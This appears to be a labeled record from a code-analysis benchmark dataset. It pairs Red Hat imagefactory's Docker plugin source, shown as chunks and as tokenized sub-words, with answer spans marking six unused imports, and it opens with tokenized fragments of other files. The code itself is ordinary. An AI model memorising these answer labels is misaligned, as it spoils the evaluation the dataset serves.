" ", "on", " ", "'_", "+_", "time_", "._", "asc", "time_", "(_", ")_", "+_", "'", " ", "usi", "ng", " ", "Lea", "f", "</", "i", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'<", "/", "div", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "html", "\\u", "footer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "copy", "ing", " ", "external", " ", "resources_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "pkg", "\\u", "resources_", "import_", "resource", "\\u", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "style", "f_", "=_", "resource", "\\u", "filename_", "(_", "'", "pyl", "ea", "f", "'_", ",_", "'", "resource", "s", "/", "style", ".", "css", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logo", "f_", "=_", "resource", "\\u", "filename_", "(_", "'", "pyl", "ea", "f", "'_", ",_", "'", "resource", "s", "/", "leaf", ".", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "style", "f", " ", "=", " ", "os", ".", "path", ".", "join", "(", "sys", ".", "prefix", ",", " ", "'", "style", ".", "css", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "logo", "f", " ", "=", " ", "os", ".", "path", ".", "join", "(", "sys", ".", "prefix", ",", " ", "'", "leaf", ".", "png", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutil_", "._", "copy_", "(_", "style", "f_", ",_", "odi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutil_", "._", "copy_", "(_", "logo", "f_", ",_", "odi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Cou", "ld", "n", "\\\\'", "t", " ", "copy", " ", "resource", " ", "files", ".", " ", "HTM", "L", " ", "file", " ", "will", " ", "miss", " ", "style", " ", "and", " ", "logo", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "protocol_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set", "Mod_", "(_", "self_", ",_", "modname_", ",_", "mod_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "changed_", "=_", "self_", "._", "\\u", "modules_", "[_", "modname_", "]_", "._", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "has", "changed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "mod_", ")_", "==_", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mod_", "._", "update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "modules_", "[_", "modname_", "]_", "._", "set", "Value_", "(_", "mod_", "._", "get", "Value_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "modules_", "[_", "modname_", "]_", "._", "update", "Fingerprint", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "untr", "ust", "_", "(_", "modname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dependent", "s_", "=_", "self_", "._", "\\u", "get", "Out", "Node", "s", "Recursive", "_", "(_", "modname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dependent", "s_", "!=_", "[_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dbg", "str_", "(_", "'", "The", "se", " ", "nodes", " ", "are", " ", "dependent", ":", " ", "'_", "+_", "str_", "(_", "dependent", "s_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "for", " ", "dep", " ", "in", " ", "dependent", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".\\u", "clear", "Filter", "(", "dep", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "protocol_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set", "Mod_", "(_", "self_", ",_", "who_", ",_", "what_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "mod", "contents_", "[_", "who_", "._", "get", "Name_", "(_", ")_", "]_", "=_", "self_", "._", "\\u", "get", "Contents_", "(_", "what_", ")_", "\\u\\u\\uNEWL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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
redhat-imaging/imagefactory/imagefactory_plugins/Docker/Docker.py
[ { "content": "#!/usr/bin/python\n#\n# Copyright 2014 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport zope\nimport libxml2\nimport json\nimport os\nimport os.path\nimport struct\nimport subprocess\nimport datetime\nimport random\nimport shutil\nimport oz.TDL\nimport tempfile\nimport tarfile\nimport threading\nimport subprocess\nimport hashlib\nfrom xml.etree.ElementTree import fromstring\nfrom imgfac.Template import Template\nfrom imgfac.ApplicationConfiguration import ApplicationConfiguration\nfrom imgfac.BuildDispatcher import BuildDispatcher\nfrom imgfac.ImageFactoryException import ImageFactoryException\nfrom imgfac.CloudDelegate import CloudDelegate\nfrom imgfac.FactoryUtils import launch_inspect_and_mount, shutdown_and_close, remove_net_persist, create_cloud_info, parameter_cast_to_bool\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Docker(object):\n zope.interface.implements(CloudDelegate)\n\n compress_commands = { \"xz\": \"xz -T 0 --stdout %s > %s\",\n \"gzip\": \"gzip -c %s > %s\",\n \"bzip2\": \"bzip2 -c %s > %s\" }\n\n # The templates below allow us to generate base images without a running docker locally\n\n # [email protected] - 26-Aug-2014\n # We know of at least two different output JSON formats. These relate to some JSON marshaling\n # changes in the docker 1.0.0 timeframe. At the time of this comment, the upstream registry will\n # only accept the older 0.11.1 format which is what we default to.\n # Note that there is a separate \"VERSION\" file in each subdirectory. As of this comment\n # that file always contains 1.0\n\n # TODO: Get rid of these silly string templates and just use the json module and dicts\n #\n # vbatts pointed out that creating these as string templates is kind of silly\n # since we can just build them up as nested dicts and use json tools to create\n # the required strings. I originally used strings to ensure absolute fidelity to\n # the observed docker output, but there's no real technical reason to do this\n\n docker_json_template_0_11_1 = \"\"\"{{\n \"id\": \"{idstring}\",\n \"comment\": \"{commentstring}\",\n \"created\": \"{createdtime}\",\n \"container_config\": {{\n \"Cmd\": {cmd},\n \"Env\": {env},\n \"Labels\": {label},\n \"StdinOnce\": false,\n \"OpenStdin\": false,\n \"Tty\": false,\n \"ExposedPorts\": null,\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"Image\": \"\",\n \"Volumes\": null,\n \"WorkingDir\": \"\",\n \"Entrypoint\": null,\n \"NetworkDisabled\": false,\n \"OnBuild\": null,\n \"CpuShares\": 0,\n \"MemorySwap\": 0,\n \"Memory\": 0,\n \"User\": \"\",\n \"Domainname\": \"\",\n \"Hostname\": \"\",\n \"AttachStderr\": false,\n \"PortSpecs\": null\n }},\n \"docker_version\": \"0.11.1\",\n \"architecture\": \"{arch}\",\n \"os\": \"{os}\",\n \"Size\": {size}\n}}\"\"\"\n\n\n docker_json_template_1_0_0 = \"\"\"{{\n \"Comment\": \"{commentstring}\",\n \"Container\": \"\",\n \"DockerVersion\": \"1.0.0\",\n \"Parent\": \"\",\n \"Author\": \"\",\n \"Os\": \"{os}\",\n \"Created\": \"{createdtime}\",\n \"Architecture\": \"{arch}\",\n \"ContainerConfig\": {{\n \"MemorySwap\": 0,\n \"Hostname\": \"\",\n \"Entrypoint\": null,\n \"PortSpecs\": null,\n \"Memory\": 0,\n \"OnBuild\": null,\n \"OpenStdin\": false,\n \"Cpuset\": \"\",\n \"Env\": {env},\n \"User\": \"\",\n \"CpuShares\": 0,\n \"AttachStdout\": false,\n \"NetworkDisabled\": false,\n \"WorkingDir\": \"\",\n \"Cmd\": {cmd},\n \"Labels\": {label},\n \"StdinOnce\": false,\n \"AttachStdin\": false,\n \"Volumes\": null,\n \"Tty\": false,\n \"AttachStderr\": false,\n \"Domainname\": \"\",\n \"Image\": \"\",\n \"ExposedPorts\": null\n }}, \n \"Config\": null,\n \"Id\": \"{idstring}\",\n \"Size\": {size}\n}}\n\"\"\"\n\n docker_json_template_1_7_0 = \"\"\"{{\n \"Size\": {size},\n \"architecture\": \"{arch}\",\n \"comment\": \"{commentstring}\",\n \"config\": {{\n \"AttachStderr\": false,\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"Cmd\": {cmd},\n \"Domainname\": \"\",\n \"Entrypoint\": null,\n \"Env\": {env},\n \"ExposedPorts\": null,\n \"Hostname\": \"\",\n \"Image\": \"\",\n \"Labels\": {label},\n \"MacAddress\": \"\",\n \"NetworkDisabled\": false,\n \"OnBuild\": null,\n \"OpenStdin\": false,\n \"StdinOnce\": false,\n \"Systemd\": false,\n \"Tty\": false,\n \"User\": \"\",\n \"VolumeDriver\": \"\",\n \"Volumes\": null,\n \"WorkingDir\": \"\"\n }},\n \"container_config\": {{\n \"AttachStderr\": false,\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"Cmd\": null,\n \"Domainname\": \"\",\n \"Entrypoint\": null,\n \"Env\": null,\n \"ExposedPorts\": null,\n \"Hostname\": \"\",\n \"Image\": \"\",\n \"Labels\": null,\n \"MacAddress\": \"\",\n \"NetworkDisabled\": false,\n \"OnBuild\": null,\n \"OpenStdin\": false,\n \"StdinOnce\": false,\n \"Systemd\": false,\n \"Tty\": false,\n \"User\": \"\",\n \"VolumeDriver\": \"\",\n \"Volumes\": null,\n \"WorkingDir\": \"\"\n }},\n \"created\": \"{createdtime}\",\n \"docker_version\": \"1.7.0\",\n \"id\": \"{idstring}\",\n \"os\": \"{os}\"\n}}\"\"\"\n\n docker_json_template_1_10_1 = \"\"\"{{\n \"Size\": {size},\n \"architecture\": \"{arch}\",\n \"comment\": \"{commentstring}\",\n \"config\": {{\n \"AttachStderr\": false,\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"Cmd\": {cmd},\n \"Domainname\": \"\",\n \"Entrypoint\": null,\n \"Env\": {env},\n \"ExposedPorts\": null,\n \"Hostname\": \"\",\n \"Image\": \"\",\n \"Labels\": {label},\n \"MacAddress\": \"\",\n \"NetworkDisabled\": false,\n \"OnBuild\": null,\n \"OpenStdin\": false,\n \"StdinOnce\": false,\n \"Systemd\": false,\n \"Tty\": false,\n \"User\": \"\",\n \"VolumeDriver\": \"\",\n \"Volumes\": null,\n \"WorkingDir\": \"\"\n }},\n \"container_config\": {{\n \"AttachStderr\": false,\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"Cmd\": null,\n \"Domainname\": \"\",\n \"Entrypoint\": null,\n \"Env\": null,\n \"ExposedPorts\": null,\n \"Hostname\": \"\",\n \"Image\": \"\",\n \"Labels\": null,\n \"MacAddress\": \"\",\n \"NetworkDisabled\": false,\n \"OnBuild\": null,\n \"OpenStdin\": false,\n \"StdinOnce\": false,\n \"Systemd\": false,\n \"Tty\": false,\n \"User\": \"\",\n \"VolumeDriver\": \"\",\n \"Volumes\": null,\n \"WorkingDir\": \"\"\n }},\n \"created\": \"{createdtime}\",\n \"docker_version\": \"1.10.1\",\n \"id\": \"{idstring}\",\n \"os\": \"{os}\"\n}}\"\"\"\n\n docker_templates_dict = { \"0.11.1\": docker_json_template_0_11_1,\n \"1.0.0\": docker_json_template_1_0_0,\n \"1.7.0\": docker_json_template_1_7_0,\n \"1.10.1\": docker_json_template_1_10_1 }\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Docker", "header": "['module', '___EOS___']", "index": 41 }, { "content": " def __init__(self):\n super(Docker, self).__init__()\n self.app_config = ApplicationConfiguration().configuration\n self.log = logging.getLogger('%s.%s' % (__name__, self.__class__.__name__))", "metadata": "root.Docker.__init__", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 262 }, { "content": " def activity(self, activity):\n # Simple helper function\n # Activity should be a one line human-readable string indicating the task in progress\n # We log it at DEBUG and also set it as the status_detail on our active image\n self.log.debug(activity)\n self.active_image.status_detail['activity'] = activity", "metadata": "root.Docker.activity", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 267 }, { "content": " def push_image_to_provider(self, builder, provider, credentials, target, target_image, parameters):\n raise ImageFactoryException(\"Pushing not currently supported for Docker image builds\")", "metadata": "root.Docker.push_image_to_provider", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 274 }, { "content": " def snapshot_image_on_provider(self, builder, provider, credentials, template, parameters):\n # TODO: Implement snapshot builds\n raise ImageFactoryException(\"Snapshot builds not currently supported for Docker\")", "metadata": "root.Docker.snapshot_image_on_provider", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 277 }, { "content": " def _generate_docker_id(self):\n # return a random 64 digit hex number\n did = \"\"\n for i in range(8):\n did += \"%08x\" % (random.randint(0, 2 ** 32))\n return did", "metadata": "root.Docker._generate_docker_id", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 281 }, { "content": " def _file_sha256(self, filename):\n f = open(filename, \"rb\")\n hasher = hashlib.sha256()\n while True:\n chunk = f.read(2**20)\n if not chunk:\n break\n hasher.update(chunk)\n f.close()\n return hasher.hexdigest()", "metadata": "root.Docker._file_sha256", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 288 }, { "content": " def builder_should_create_target_image(self, builder, target, image_id, template, parameters):\n self.log.debug(\"builder_should_create_target_image called for Docker plugin - doing all our work here then stopping the process\")\n tdlobj = oz.TDL.TDL(xmlstring=template.xml, rootpw_required=self.app_config[\"tdl_require_root_pw\"])\n # At this point our input base_image is available as builder.base_image.data\n # We simply mount it up in libguestfs and tar out the results as builder.target_image.data\n wrap_metadata = parameter_cast_to_bool(parameters.get('create_docker_metadata', True))\n compress_type = parameters.get('compress', None)\n if compress_type:\n if compress_type in self.compress_commands.keys():\n compress_command = self.compress_commands[compress_type]\n else:\n raise Exception(\"Passed unknown compression type (%s) for Docker plugin\" % (compress_type))\n else:\n compress_command = None\n guestfs_handle = launch_inspect_and_mount(builder.base_image.data, readonly = True)\n storagedir = os.path.dirname(builder.target_image.data)\n\n # guestfs lets us mount locally via the API, which is cool, but requires that\n # we call a blocking function to activate the mount, which requires a thread\n # We also need a temp dir to mount it to - do our best to clean up when things\n # go wrong\n tempdir = None\n fuse_thread = None\n try:\n tempdir = tempfile.mkdtemp(dir=storagedir)\n self.log.debug(\"Mounting input image locally at (%s)\" % (tempdir))\n guestfs_handle.mount_local(tempdir)\n def _run_guestmount(g):\n g.mount_local_run()\n self.log.debug(\"Launching mount_local_run thread\")\n fuse_thread = threading.Thread(group=None, target=_run_guestmount, args=(guestfs_handle,))\n fuse_thread.start()\n self.log.debug(\"Creating tar of entire image\")\n # Use acls and xattrs to ensure SELinux data is not lost\n tarcmd = [ 'tar', '-cf', builder.target_image.data, '-C', tempdir, '--acls', '--xattrs' ]\n # User may pass in a comma separated list of excludes to override this\n # Default to ./etc/fstab as many people have complained this does not belong in Docker images\n tar_excludes = parameters.get('tar_excludes', './etc/fstab').split(',')\n for exclude in tar_excludes:\n tarcmd.append('--exclude=%s' % (exclude.strip()))\n tarcmd.append('./')\n self.log.debug(\"Command: %s\" % (str(tarcmd)))\n subprocess.check_call(tarcmd)\n if wrap_metadata:\n self.log.debug(\"Estimating size of tar contents to include in Docker metadata\")\n size = 0\n for root, dirs, files in os.walk(tempdir):\n for name in files:\n fp = os.path.join(root,name)\n if os.path.isfile(fp) and not os.path.islink(fp):\n size += os.path.getsize(fp)\n self.log.debug(\"Total real file content size (%d)\" % (size))\n except Exception, e:\n self.log.exception(e)\n raise\n finally:\n if tempdir:\n try:\n subprocess.check_call( ['umount', '-f', tempdir] )\n os.rmdir(tempdir)\n except Exception, e:\n self.log.exception(e)\n self.log.error(\"WARNING: Could not unmount guest at (%s) - may still be mounted\" % (tempdir) )\n if fuse_thread:\n fuse_thread.join(30.0)\n if fuse_thread.isAlive():\n self.log.error(\"Guestfs local mount thread is still active - FUSE filesystem still mounted at (%s)\" % (tempdir) )\n\n if wrap_metadata:\n # Get any parameters and if they are not set, create our defaults\n # Docker image names should not have uppercase characters \n # https://fedorahosted.org/cloud/ticket/131\n repository = parameters.get('repository',tdlobj.name).lower()\n tag = parameters.get('tag','latest')\n docker_image_id = parameters.get('docker_image_id', self._generate_docker_id())\n cmd = parameters.get('docker_cmd', 'null')\n env = parameters.get('docker_env', 'null')\n label = parameters.get('docker_label', 'null')\n rdict = { repository: { tag: docker_image_id } }\n \n dockerversion = parameters.get('dockerversion', '0.11.1')\n if not dockerversion in self.docker_templates_dict:\n raise Exception(\"No docker JSON template available for specified docker version (%s)\" % (dockerversion))\n docker_json_template=self.docker_templates_dict[dockerversion]\n\n arch = tdlobj.arch\n if arch == \"x86_64\":\n arch = \"amd64\"\n elif arch == \"armv7hl\":\n arch = \"armhfp\"\n tdict = { }\n tdict['commentstring'] = parameters.get('comment', 'Created by Image Factory')\n tdict['os'] = parameters.get('os', 'linux')\n tdict['createdtime'] = datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n tdict['arch'] = arch\n tdict['idstring'] = docker_image_id\n tdict['cmd'] = cmd\n tdict['env'] = env\n tdict['label'] = label\n tdict['size'] = size\n\n image_json = docker_json_template.format(**tdict) \n\n # v2 images\n # TODO: Something significantly less hacky looking.....\n if dockerversion == \"1.10.1\":\n shasum = self._file_sha256(builder.target_image.data)\n image_v2_config = json.loads(image_json)\n # The new top level JSON file is a light modification of the layer JSON\n del image_v2_config['Size']\n del image_v2_config['id']\n image_v2_config['history'] = [ { 'comment': image_v2_config['comment'],\n 'created': image_v2_config['created'] } ]\n image_v2_config['rootfs'] = { 'diff_ids': [ \"sha256:%s\" % (shasum) ],\n 'type': 'layers' }\n\n # Docker wants this config file to be named after its own sha256 sum\n image_v2_config_id = hashlib.sha256(json.dumps(image_v2_config)).hexdigest()\n\n image_v2_manifest = [ { \"Config\": \"%s.json\" % (image_v2_config_id),\n \"Layers\": [ \"%s/layer.tar\" % (docker_image_id) ],\n \"RepoTags\": [ \"%s:%s\" % (repository, tag) ] } ]\n\n # Create directory\n storagedir = os.path.dirname(builder.target_image.data)\n tempdir = None\n try:\n tempdir = tempfile.mkdtemp(dir=storagedir)\n self.log.debug(\"Creating docker image directory structure in (%s)\" % (tempdir))\n\n repositories_path = os.path.join(tempdir,'repositories')\n repositories = open(repositories_path,\"w\")\n json.dump(rdict, repositories)\n repositories.close()\n\n if dockerversion == \"1.10.1\":\n config_path = os.path.join(tempdir, '%s.json' % (image_v2_config_id))\n config = open(config_path, \"w\")\n json.dump(image_v2_config, config)\n config.close()\n\n manifest_path = os.path.join(tempdir, 'manifest.json')\n manifest = open(manifest_path, \"w\")\n json.dump(image_v2_manifest, manifest)\n manifest.close()\n\n imagedir = os.path.join(tempdir, docker_image_id)\n os.mkdir(imagedir)\n\n jsonfile_path = os.path.join(imagedir,'json')\n jsonfile = open(jsonfile_path,'w')\n jsonfile.write(image_json)\n jsonfile.close()\n\n versionfile_path = os.path.join(imagedir,'VERSION')\n versionfile = open(versionfile_path, 'w')\n # TODO - Track version developments and compatibility\n versionfile.write(\"1.0\")\n versionfile.close()\n\n layerfile_path = os.path.join(imagedir,'layer.tar')\n shutil.move(builder.target_image.data, layerfile_path)\n\n outtar = tarfile.TarFile(name=builder.target_image.data, mode=\"w\")\n # It turns out that in at least some configurations or versions, Docker will\n # complain if the repositories file is not the last file in the archive\n # we add our single image directory first and then the repositories file to\n # avoid this\n outtar.add(imagedir, arcname=docker_image_id)\n outtar.add(repositories_path, arcname='repositories')\n if dockerversion == \"1.10.1\":\n outtar.add(config_path, arcname='%s.json' % (image_v2_config_id))\n outtar.add(manifest_path, arcname='manifest.json')\n outtar.close()\n finally:\n if tempdir:\n try:\n shutil.rmtree(tempdir)\n except:\n self.log.warning(\"Error encountered when removing temp dir (%s) - may not have been deleted\" % (tempdir))\n\n if compress_command:\n self.log.debug(\"Compressing tar file using %s\" % (compress_type))\n rawimage = builder.target_image.data\n compimage = builder.target_image.data + \".tmp.%s\" % (compress_type)\n result = subprocess.call(compress_command % ( rawimage, compimage), shell = True)\n if result:\n raise Exception(\"Compression of image failed\")\n self.log.debug(\"Compression complete, replacing original\")\n os.unlink(rawimage)\n os.rename(compimage, rawimage)\n self.log.debug(\"Done\")\n return False", "metadata": "root.Docker.builder_should_create_target_image", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 299 }, { "content": " def builder_will_create_target_image(self, builder, target, image_id, template, parameters):\n raise ImageFactoryException(\"builder_will_create_target_image called in Docker plugin - this should never happen\")", "metadata": "root.Docker.builder_will_create_target_image", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 493 }, { "content": " def builder_did_create_target_image(self, builder, target, image_id, template, parameters):\n raise ImageFactoryException(\"builder_did_create_target_image called in Docker plugin - this should never happen\")", "metadata": "root.Docker.builder_did_create_target_image", "header": "['class', 'Docker', '(', 'object', ')', ':', '___EOS___']", "index": 497 } ]
[ { "span": "import libxml2", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 14 }, { "span": "import struct", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 13 }, { "span": "from xml.etree.ElementTree import fromstring", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 44 }, { "span": "from imgfac.Template import Template", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 36 }, { "span": "from imgfac.BuildDispatcher import BuildDispatcher", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 50 }, { "span": "from imgfac.FactoryUtils import launch_inspect_and_mount, shutdown_and_close, remove_net_persist, create_cloud_info, parameter_cast_to_bool", "start_line": 39, "start_column": 0, "end_line": 39, "end_column": 139 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Copy", "right", " ", "2014", " ", "Red", " ", "Hat", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zope_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "libx", "ml2", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "oz", "_", "._", "TD", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tarfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xml_", "._", "etree_", "._", "Element", "Tree_", "import_", "fromstring_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "img", "fac_", "._", "Template_", "import_", "Template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "img", "fac_", "._", "Applica", "tion", "Configuration_", "import_", "Applica", "tion", "Configuration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "img", "fac_", "._", "Build", "Dispatcher_", "import_", "Build", "Dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "img", "fac_", "._", "Image", "Factor", "y", "Exception_", "import_", "Image", "Factor", "y", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "img", "fac_", "._", "Cloud", "Delegate_", "import_", "Cloud", "Delegate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "img", "fac_", "._", "Factor", "y", "Utils_", "import_", "launch", "\\u", "inspect", "\\u", "and", "\\u", "mount_", ",_", "shut", "down", "\\u", "and", "\\u", "close_", ",_", "remove", "\\u", "net", "\\u", "persist_", ",_", "create", "\\u", "cloud", "\\u", "info_", ",_", "parameter", "\\u", "cast", "\\u", "to", "\\u", "bool_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zope_", "._", "interface_", "._", "implements_", "(_", "Cloud", "Delegate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "compress", "\\u", "commands_", "=_", "{_", "\"", "xz", "\"_", ":_", "\"", "xz", " ", "-", "T", " ", "0", " ", "--", "stdout", 